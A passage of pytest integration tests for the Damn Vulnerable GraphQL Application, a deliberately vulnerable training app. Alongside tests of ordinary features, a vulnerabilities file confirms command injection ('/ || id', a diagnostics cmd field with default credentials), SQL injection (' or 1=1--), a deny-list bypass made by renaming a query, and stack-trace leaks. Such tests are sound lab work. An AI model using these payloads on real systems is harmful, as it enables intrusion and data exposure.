5 | def test_check_batch_enabled():
6 | query = """
7 | query {
8 | __typename
9 | }
10 | """
11 | r = requests.post(GRAPHQL_URL, verify=False, allow_redirects=True, timeout=4, json=[{"query":query}])
12 | assert isinstance(r.json(), list)
13 |
--------------------------------------------------------------------------------
/tests/test_intialize.py:
--------------------------------------------------------------------------------
1 | import os
2 | import requests
3 |
4 | from common import URL, GRAPHIQL_URL, GRAPHQL_URL
5 |
6 | """
7 | DVGA Sanity Check
8 | """
9 | def test_dvga_is_up():
10 | """Checks DVGA UI HTML returns correct information"""
11 | r = requests.get(URL)
12 | assert 'Damn Vulnerable GraphQL Application' in r.text
13 |
14 | def test_graphql_endpoint_up():
15 | """Checks /graphql is up"""
16 | r = requests.get(GRAPHQL_URL)
17 | assert "Must provide query string." in r.json()['errors'][0]['message']
18 |
19 | def test_graphiql_endpoint_up():
20 | """Checks /graphiql is up"""
21 | r = requests.get(GRAPHIQL_URL)
22 | assert "Must provide query string." in r.json()['errors'][0]['message']
23 |
--------------------------------------------------------------------------------
/tests/test_introspect.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import URL, GRAPHQL_URL, graph_query
4 |
5 | def test_check_introspect_fields():
6 | fields = ['pastes', 'paste', 'systemUpdate', 'systemDiagnostics', 'systemDebug', 'systemHealth', 'users', 'readAndBurn', 'search', 'audits', 'deleteAllPastes', 'me']
7 | r = requests.get(URL + '/difficulty/easy')
8 | assert r.status_code == 200
9 |
10 | query = """
11 | query {
12 | __schema {
13 | queryType {
14 | fields {
15 | name
16 | }
17 | }
18 | }
19 | }
20 | """
21 | r = graph_query(GRAPHQL_URL, query)
22 |
23 | for field in r.json()['data']['__schema']['queryType']['fields']:
24 | field_name = field['name']
25 | assert field_name in fields
26 | assert not field_name not in fields
27 | fields.remove(field_name)
28 |
29 | assert len(fields) == 0
30 |
31 | def test_check_introspect_when_expert_mode():
32 | query = """
33 | query {
34 | __schema {
35 | __typename
36 | }
37 | }
38 | """
39 | r = graph_query(GRAPHQL_URL, query, headers={"X-DVGA-MODE":'Expert'})
40 | assert r.status_code == 200
41 | assert r.json()['errors'][0]['message'] == '400 Bad Request: Introspection is Disabled'
42 |
43 |
44 | def test_check_introspect_mutations():
45 | fields = ['createUser', 'createPaste', 'editPaste', 'login', 'uploadPaste', 'importPaste', 'deletePaste']
46 | r = requests.get(URL + '/difficulty/easy')
47 | assert r.status_code == 200
48 |
49 | query = """
50 | query {
51 | __schema {
52 | mutationType {
53 | fields {
54 | name
55 | }
56 | }
57 | }
58 | }
59 | """
60 | r = graph_query(GRAPHQL_URL, query)
61 |
62 | for field in r.json()['data']['__schema']['mutationType']['fields']:
63 | field_name = field['name']
64 | assert field_name in fields
65 | assert not field_name not in fields
66 | fields.remove(field_name)
67 |
68 | assert len(fields) == 0
--------------------------------------------------------------------------------
/tests/test_mode.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import URL, GRAPHQL_URL, graph_query
4 |
5 | def test_check_hardened_mode():
6 | r = requests.get(URL + '/difficulty/hard')
7 | assert r.status_code == 200
8 |
9 | query = """
10 | query {
11 | __schema {
12 | __typename
13 | }
14 | }
15 | """
16 | r = graph_query(GRAPHQL_URL, query)
17 | assert r.json()['errors'][0]['message'] == '400 Bad Request: Introspection is Disabled'
18 |
19 | def test_check_easy_mode():
20 | r = requests.get(URL + '/difficulty/easy')
21 | assert r.status_code == 200
22 |
23 | query = """
24 | query {
25 | __schema {
26 | __typename
27 | }
28 | }
29 | """
30 | r = graph_query(GRAPHQL_URL, query)
31 | assert r.json()['data']['__schema']['__typename'] == '__Schema'
32 |
--------------------------------------------------------------------------------
/tests/test_mutations.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import URL, GRAPHQL_URL, graph_query
4 |
5 | def test_mutation_createPaste():
6 | query = '''
7 | mutation {
8 | createPaste(burn: false, title:"Integration Test", content:"Test", public: false) {
9 | paste {
10 | burn
11 | title
12 | content
13 | public
14 | owner {
15 | id
16 | name
17 | }
18 | }
19 | }
20 | }
21 | '''
22 | r = graph_query(GRAPHQL_URL, query)
23 |
24 | assert r.json()['data']['createPaste']['paste']['burn'] == False
25 | assert r.json()['data']['createPaste']['paste']['title'] == 'Integration Test'
26 | assert r.json()['data']['createPaste']['paste']['content'] == 'Test'
27 | assert r.json()['data']['createPaste']['paste']['public'] == False
28 | assert r.json()['data']['createPaste']['paste']['owner']['id']
29 | assert r.json()['data']['createPaste']['paste']['owner']['name']
30 |
31 | def test_mutation_editPaste():
32 | query = '''
33 | mutation {
34 | editPaste(id: 1, title:"Integration Test123", content:"Integration Test456") {
35 | paste {
36 | id
37 | title
38 | content
39 | userAgent
40 | burn
41 | ownerId
42 | owner {
43 | id
44 | name
45 | }
46 | }
47 | }
48 | }
49 | '''
50 | r = graph_query(GRAPHQL_URL, query)
51 |
52 | assert r.json()['data']['editPaste']['paste']['id'] == '1'
53 | assert r.json()['data']['editPaste']['paste']['title'] == 'Integration Test123'
54 | assert r.json()['data']['editPaste']['paste']['content'] == 'Integration Test456'
55 | assert r.json()['data']['editPaste']['paste']['userAgent']
56 | assert r.json()['data']['editPaste']['paste']['burn'] == False
57 | assert r.json()['data']['editPaste']['paste']['ownerId']
58 | assert r.json()['data']['editPaste']['paste']['owner']['id'] == '1'
59 | assert r.json()['data']['editPaste']['paste']['owner']['name']
60 |
61 | def test_mutation_deletePaste():
62 | query = '''
63 | mutation {
64 | deletePaste(id: 91000) {
65 | result
66 | }
67 | }
68 | '''
69 | r = graph_query(GRAPHQL_URL, query)
70 |
71 | assert r.json()['data']['deletePaste']['result'] == False
72 |
73 | query = '''
74 | mutation {
75 | deletePaste(id: 5) {
76 | result
77 | }
78 | }
79 | '''
80 | r = graph_query(GRAPHQL_URL, query)
81 |
82 | assert r.json()['data']['deletePaste']['result'] == True
83 |
84 | def test_mutation_uploadPaste():
85 | query = '''
86 | mutation {
87 | uploadPaste(content:"Uploaded Content", filename:"test.txt") {
88 | result
89 | }
90 | }
91 | '''
92 | r = graph_query(GRAPHQL_URL, query)
93 |
94 | assert r.json()['data']['uploadPaste']['result'] == "Uploaded Content"
95 |
96 | query = '''
97 | query {
98 | pastes {
99 | content
100 | }
101 | }
102 | '''
103 | r = graph_query(GRAPHQL_URL, query)
104 |
105 | found = False
106 | for i in r.json()['data']['pastes']:
107 | if i['content'] == 'Uploaded Content':
108 | found = True
109 |
110 | assert found == True
111 |
112 |
113 | def test_mutation_importPaste():
114 | query = '''
115 | mutation {
116 | importPaste(scheme: "https", host:"icanhazip.com", path:"/", port:443) {
117 | result
118 | }
119 | }
120 | '''
121 | r = graph_query(GRAPHQL_URL, query)
122 |
123 | assert r.json()['data']['importPaste']['result']
124 | assert '.' in r.json()['data']['importPaste']['result']
125 |
126 |
127 | def test_mutation_createUser():
128 | query = '''
129 | mutation {
130 | createUser(userData:{username:"integrationuser", email:"test@blackhatgraphql.com", password:"strongpass"}) {
131 | user {
132 | username
133 | }
134 | }
135 | }
136 | '''
137 | r = graph_query(GRAPHQL_URL, query)
138 |
139 | assert r.json()['data']['createUser']['user']['username'] == 'integrationuser'
140 |
141 | def test_mutation_createBurnPaste():
142 | query = '''
143 | mutation {
144 | createPaste(burn: true, content: "Burn Me", title: "Burn Me", public: true) {
145 | paste {
146 | content
147 | burn
148 | title
149 | id
150 | }
151 | }
152 | }
153 | '''
154 | r = graph_query(GRAPHQL_URL, query)
155 |
156 | assert r.status_code == 200
157 | assert r.json()['data']['createPaste']['paste']['content'] == 'Burn Me'
158 | assert r.json()['data']['createPaste']['paste']['title'] == 'Burn Me'
159 | assert r.json()['data']['createPaste']['paste']['id']
160 |
161 | paste_id = r.json()['data']['createPaste']['paste']['id']
162 |
163 | query = '''
164 | query {
165 | readAndBurn(id: %s) {
166 | content
167 | burn
168 | title
169 | id
170 | }
171 | }
172 | ''' % paste_id
173 |
174 | r = graph_query(GRAPHQL_URL, query)
175 |
176 | assert r.status_code == 200
177 | assert r.json()['data']['readAndBurn']['content'] == 'Burn Me'
178 | assert r.json()['data']['readAndBurn']['title'] == 'Burn Me'
179 | assert r.json()['data']['readAndBurn']['id']
180 |
181 |
182 | query = '''
183 | query {
184 | readAndBurn(id: %s) {
185 | content
186 | burn
187 | title
188 | id
189 | }
190 | }
191 | ''' % paste_id
192 | r = graph_query(GRAPHQL_URL, query)
193 |
194 | assert r.status_code == 200
195 | assert r.json()['data']['readAndBurn'] == None
196 |
197 |
--------------------------------------------------------------------------------
/tests/test_queries.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import URL, GRAPHQL_URL, graph_query
4 |
5 | def test_query_pastes():
6 | query = '''
7 | query {
8 | pastes {
9 | id
10 | ipAddr
11 | ownerId
12 | burn
13 | owner {
14 | id
15 | name
16 | }
17 | title
18 | content
19 | userAgent
20 | }
21 | }
22 | '''
23 | r = graph_query(GRAPHQL_URL, query)
24 |
25 | assert r.json()['data']['pastes'][0]['id']
26 | assert r.json()['data']['pastes'][0]['ipAddr']
27 | assert r.json()['data']['pastes'][0]['ownerId'] == 1
28 | assert r.json()['data']['pastes'][0]['burn'] == False
29 | assert r.json()['data']['pastes'][0]['owner']['id'] == '1'
30 | assert r.json()['data']['pastes'][0]['owner']['name'] == 'DVGAUser'
31 | assert r.json()['data']['pastes'][0]['title']
32 | assert r.json()['data']['pastes'][0]['userAgent']
33 | assert r.json()['data']['pastes'][0]['content']
34 |
35 | def test_query_paste_by_id():
36 | query = '''
37 | query {
38 | paste (id: 1) {
39 | id
40 | ipAddr
41 | ownerId
42 | burn
43 | owner {
44 | id
45 | name
46 | }
47 | title
48 | content
49 | userAgent
50 | }
51 | }
52 | '''
53 | r = graph_query(GRAPHQL_URL, query)
54 |
55 | assert r.json()['data']['paste']['id'] == '1'
56 | assert r.json()['data']['paste']['ipAddr'] == '127.0.0.1'
57 | assert r.json()['data']['paste']['ownerId'] == 1
58 | assert r.json()['data']['paste']['burn'] == False
59 | assert r.json()['data']['paste']['owner']['id'] == '1'
60 | assert r.json()['data']['paste']['owner']['name'] == 'DVGAUser'
61 | assert r.json()['data']['paste']['title']
62 | assert r.json()['data']['paste']['userAgent'] == 'User-Agent not set'
63 | assert r.json()['data']['paste']['content']
64 |
65 | def test_query_systemHealth():
66 | query = '''
67 | query {
68 | systemHealth
69 | }
70 | '''
71 | r = graph_query(GRAPHQL_URL, query)
72 | assert 'System Load' in r.json()['data']['systemHealth']
73 | assert '.' in r.json()['data']['systemHealth'].split('System Load: ')[1]
74 |
75 | def test_query_systemUpdate():
76 | pass
77 |
78 | def test_query_systemDebug():
79 | query = '''
80 | query {
81 | systemDebug
82 | }
83 | '''
84 | r = graph_query(GRAPHQL_URL, query)
85 | assert r.status_code == 200
86 |
87 | systemdebug_indicators = ['TTY', 'COMMAND']
88 | assert any(substring in r.json()['data']['systemDebug'] for substring in systemdebug_indicators)
89 |
90 | def test_query_users():
91 | query = '''
92 | query {
93 | users {
94 | id
95 | username
96 | }
97 | }
98 | '''
99 |
100 | r = graph_query(GRAPHQL_URL, query)
101 | assert r.status_code == 200
102 | assert len(r.json()['data']['users']) > 1
103 |
104 | def test_query_users_by_id():
105 | query = '''
106 | query {
107 | users(id: 1) {
108 | id
109 | username
110 | }
111 | }
112 | '''
113 |
114 | r = graph_query(GRAPHQL_URL, query)
115 | assert r.status_code == 200
116 | assert r.json()['data']['users'][0]['id']
117 | assert len(r.json()['data']['users']) == 1
118 |
119 |
120 | def test_query_read_and_burn():
121 | query = '''
122 | query {
123 | readAndBurn(id: 155){
124 | id
125 | }
126 | }
127 | '''
128 | r = graph_query(GRAPHQL_URL, query)
129 | assert r.status_code == 200
130 | assert r.json()['data']['readAndBurn'] == None
131 |
132 | def test_query_search_on_user_object():
133 | query = '''
134 | query {
135 | search(keyword:"operator") {
136 | ... on UserObject {
137 | username
138 | id
139 | }
140 | }
141 | }
142 | '''
143 |
144 | r = graph_query(GRAPHQL_URL, query)
145 | assert r.status_code == 200
146 | assert r.json()['data']['search'][0]['username'] == 'operator'
147 | assert r.json()['data']['search'][0]['id']
148 |
149 |
150 | def test_query_search_on_paste_object():
151 | query = '''
152 | query {
153 | search {
154 | ... on PasteObject {
155 | owner {
156 | name
157 | id
158 | }
159 | title
160 | content
161 | id
162 | ipAddr
163 | burn
164 | ownerId
165 | }
166 | }
167 | }
168 | '''
169 |
170 | r = graph_query(GRAPHQL_URL, query)
171 | assert r.status_code == 200
172 | assert len(r.json()['data']['search']) > 0
173 | assert r.json()['data']['search'][0]['owner']['id']
174 | assert r.json()['data']['search'][0]['title']
175 | assert r.json()['data']['search'][0]['content']
176 | assert r.json()['data']['search'][0]['id']
177 | assert r.json()['data']['search'][0]['ipAddr']
178 | assert r.json()['data']['search'][0]['burn'] == False
179 | assert r.json()['data']['search'][0]['ownerId']
180 |
181 |
182 | def test_query_search_on_user_and_paste_object():
183 | query = '''
184 | query {
185 | search(keyword: "p") {
186 | ... on UserObject {
187 | username
188 | }
189 | ... on PasteObject {
190 | title
191 | }
192 | }
193 | }
194 | '''
195 | result = {"username":0, "title":0}
196 |
197 | r = graph_query(GRAPHQL_URL, query)
198 | assert r.status_code == 200
199 |
200 | for i in r.json()['data']['search']:
201 | if 'title' in i:
202 | result['title'] = 1
203 | elif 'username' in i:
204 | result['username'] = 1
205 |
206 | assert result['username'] == 1
207 | assert result['title'] == 1
208 |
209 | def test_query_audits():
210 | query = '''
211 | query {
212 | audits {
213 | id
214 | gqloperation
215 | gqlquery
216 | timestamp
217 | }
218 | }
219 | '''
220 |
221 | r = graph_query(GRAPHQL_URL, query)
222 | assert r.status_code == 200
223 | assert len(r.json()['data']['audits']) > 0
224 | assert r.json()['data']['audits'][0]['id']
225 | assert r.json()['data']['audits'][0]['gqloperation']
226 | assert r.json()['data']['audits'][0]['gqlquery']
227 | assert r.json()['data']['audits'][0]['timestamp']
228 |
229 | def test_query_audits():
230 | query = '''
231 | query {
232 | deleteAllPastes
233 | }
234 | '''
235 |
236 | r = graph_query(GRAPHQL_URL, query)
237 | assert r.status_code == 200
238 | assert r.json()['data']['deleteAllPastes']
239 |
240 | # Rebuild
241 | r = requests.get(URL + '/start_over')
242 | assert r.status_code == 200
243 | assert 'Restored to default state' in r.text
244 |
245 | def test_query_pastes_with_limit():
246 | query = '''
247 | query {
248 | pastes(limit: 2, public: true) {
249 | content
250 | title
251 | owner {
252 | name
253 | }
254 | ownerId
255 | userAgent
256 | public
257 | }
258 | }
259 | '''
260 |
261 | r = graph_query(GRAPHQL_URL, query)
262 | assert r.status_code == 200
263 | assert len(r.json()['data']['pastes']) == 2
264 | assert r.json()['data']['pastes'][0]['content']
265 | assert r.json()['data']['pastes'][0]['title']
266 | assert r.json()['data']['pastes'][0]['owner']['name']
267 | assert r.json()['data']['pastes'][0]['ownerId']
268 | assert r.json()['data']['pastes'][0]['userAgent']
269 | assert r.json()['data']['pastes'][0]['public']
270 |
271 | def test_query_pastes_with_fragments():
272 | query = '''
273 | query {
274 | pastes {
275 | ...A
276 | }
277 | }
278 |
279 | fragment A on PasteObject {
280 | content
281 | title
282 | }
283 | '''
284 |
285 | r = graph_query(GRAPHQL_URL, query)
286 | assert r.status_code == 200
287 | assert r.json()['data']['pastes'][0]['content']
288 | assert r.json()['data']['pastes'][0]['title']
289 |
--------------------------------------------------------------------------------
/tests/test_rollback.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import URL
4 |
5 | def test_check_rollback():
6 | r = requests.get(URL + '/start_over')
7 | assert r.status_code == 200
8 | assert 'Restored to default state' in r.text
9 |
--------------------------------------------------------------------------------
/tests/test_vulnerabilities.py:
--------------------------------------------------------------------------------
1 |
2 | import requests
3 | import os.path
4 |
5 | from common import graph_query, GRAPHQL_URL, GRAPHIQL_URL, URL
6 |
7 | def test_circular_query_pastes_owners():
8 | query = """
9 | query {
10 | pastes {
11 | owner {
12 | pastes {
13 | owner {
14 | name
15 | }
16 | }
17 | }
18 | }
19 | }
20 | """
21 | r = graph_query(GRAPHQL_URL, query)
22 | assert r.status_code == 200
23 | assert r.json()['data']['pastes'][0]['owner']['pastes'][0]['owner']['name'] == 'DVGAUser'
24 |
25 | def test_aliases_overloading():
26 | query = """
27 | query {
28 | a1: pastes { id }
29 | a2: pastes { id }
30 | a3: pastes { id }
31 | a4: pastes { id }
32 | a5: pastes { id }
33 | }
34 | """
35 | r = graph_query(GRAPHQL_URL, query)
36 | assert r.status_code == 200
37 | assert len(r.json()['data'].keys()) == 5
38 |
39 | def test_field_suggestions():
40 | query = """
41 | query {
42 | systemUpd
43 | }
44 | """
45 | r = graph_query(GRAPHQL_URL, query)
46 | assert r.status_code == 400
47 | assert 'Did you mean' in r.json()['errors'][0]['message']
48 |
49 | def test_os_injection():
50 | query = """
51 | mutation {
52 | importPaste(host:"hostthatdoesnotexist.com", port:80, path:"/ || id", scheme:"http") {
53 | result
54 | }
55 | }
56 | """
57 |
58 | r = graph_query(GRAPHQL_URL, query)
59 | assert r.status_code == 200
60 | assert 'uid=' in r.json()['data']['importPaste']['result']
61 |
62 | def test_os_injection_alt():
63 | query = """
64 | query {
65 | systemDiagnostics(username:"admin", password:"changeme", cmd:"id")
66 | }
67 | """
68 |
69 | r= graph_query(GRAPHQL_URL, query)
70 | assert r.status_code == 200
71 | assert 'uid=' in r.json()['data']['systemDiagnostics']
72 |
73 | def test_xss():
74 | query = """
75 | mutation {
76 | createPaste(title:"", content:"zzzz", public:true) {
77 | paste {
78 | title
79 | }
80 | }
81 | }
82 | """
83 |
84 | r = graph_query(GRAPHQL_URL, query)
85 | assert r.status_code == 200
86 | assert r.json()['data']['createPaste']['paste']['title'] == ''
87 |
88 | def test_log_injection():
89 | query = """
90 | query pwned {
91 | systemHealth
92 | }
93 | """
94 |
95 | r = graph_query(GRAPHQL_URL, query)
96 | assert r.status_code == 200
97 | r = requests.get(URL + '/audit')
98 |
99 | assert r.status_code == 200
100 | assert 'query pwned {' in r.text
101 |
102 | def test_html_injection():
103 | query = """
104 | mutation {
105 | createPaste(title:"
hello! ", content:"zzzz", public:true) {
106 | paste {
107 | title
108 | content
109 | public
110 | }
111 | }
112 | }
113 | """
114 |
115 | r = graph_query(GRAPHQL_URL, query)
116 |
117 | assert r.status_code == 200
118 | assert r.json()['data']['createPaste']['paste']['title'] == '
hello! '
119 | assert r.json()['data']['createPaste']['paste']['content'] == 'zzzz'
120 | assert r.json()['data']['createPaste']['paste']['public'] == True
121 |
122 | def test_sql_injection():
123 | query = """
124 | query {
125 | pastes(filter:"aaa ' or 1=1--") {
126 | content
127 | title
128 | }
129 | }
130 | """
131 |
132 | r = graph_query(GRAPHQL_URL, query)
133 | assert r.status_code == 200
134 | assert len(r.json()['data']['pastes']) > 1
135 |
136 | def test_deny_list_expert_mode():
137 | query = """
138 | query {
139 | systemHealth
140 | }
141 | """
142 | r = graph_query(GRAPHQL_URL, query, headers={"X-DVGA-MODE":'Expert'})
143 | assert r.status_code == 200
144 | assert r.json()['errors'][0]['message'] == '400 Bad Request: Query is on the Deny List.'
145 |
146 | def test_deny_list_expert_mode_bypass():
147 | query = """
148 | query getPastes {
149 | systemHealth
150 | }
151 | """
152 | r = graph_query(GRAPHQL_URL, query, headers={"X-DVGA-MODE":'Expert'})
153 | assert r.status_code == 200
154 | assert 'System Load' in r.json()['data']['systemHealth']
155 | assert '.' in r.json()['data']['systemHealth'].split('System Load: ')[1]
156 |
157 | def test_deny_list_beginner_mode():
158 | query = """
159 | query {
160 | systemHealth
161 | }
162 | """
163 | r = graph_query(GRAPHQL_URL, query, headers={"X-DVGA-MODE":'Beginner'})
164 | assert r.status_code == 200
165 | assert 'System Load' in r.json()['data']['systemHealth']
166 | assert '.' in r.json()['data']['systemHealth'].split('System Load: ')[1]
167 |
168 | def test_circular_fragments():
169 | assert os.path.exists('app.py')
170 | f = open('app.py', 'r').read()
171 | assert 'sys.setrecursionlimit(100000)' in f
172 |
173 | def test_stack_trace_errors():
174 | query = """
175 | query {
176 | pastes {
177 | conteeeent
178 | }
179 | }
180 | """
181 | r = graph_query(GRAPHIQL_URL, query, headers={"X-DVGA-MODE":'Beginner'})
182 | assert r.status_code == 400
183 | assert len(r.json()['errors'][0]['extensions']['exception']['stack']) > 0
184 | assert r.json()['errors'][0]['extensions']['exception']['stack']
185 | assert 'Traceback' in r.json()['errors'][0]['extensions']['exception']['debug']
186 | assert r.json()['errors'][0]['extensions']['exception']['path'].endswith('.py')
187 |
--------------------------------------------------------------------------------
/tests/test_websockets.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import URL
4 |
5 | def test_check_websocket():
6 | headers = {
7 | "Connection":"Upgrade",
8 | "Upgrade":"websocket",
9 | "Host":"localhost",
10 | "Origin":"localhost",
11 | "Sec-WebSocket-Version":"13",
12 | "Sec-WebSocket-Key":"+onQ3ZxjWlkNa0na6ydhNg=="
13 | }
14 |
15 | r = requests.get(URL, headers=headers)
16 | assert r.status_code == 101
17 | assert r.headers['Upgrade'] == 'websocket'
18 | assert r.headers['Connection'] == 'Upgrade'
19 | assert r.headers['Sec-WebSocket-Accept']
20 |
21 |
--------------------------------------------------------------------------------
/version.py:
--------------------------------------------------------------------------------
1 | VERSION = '2.2.0'
2 |
--------------------------------------------------------------------------------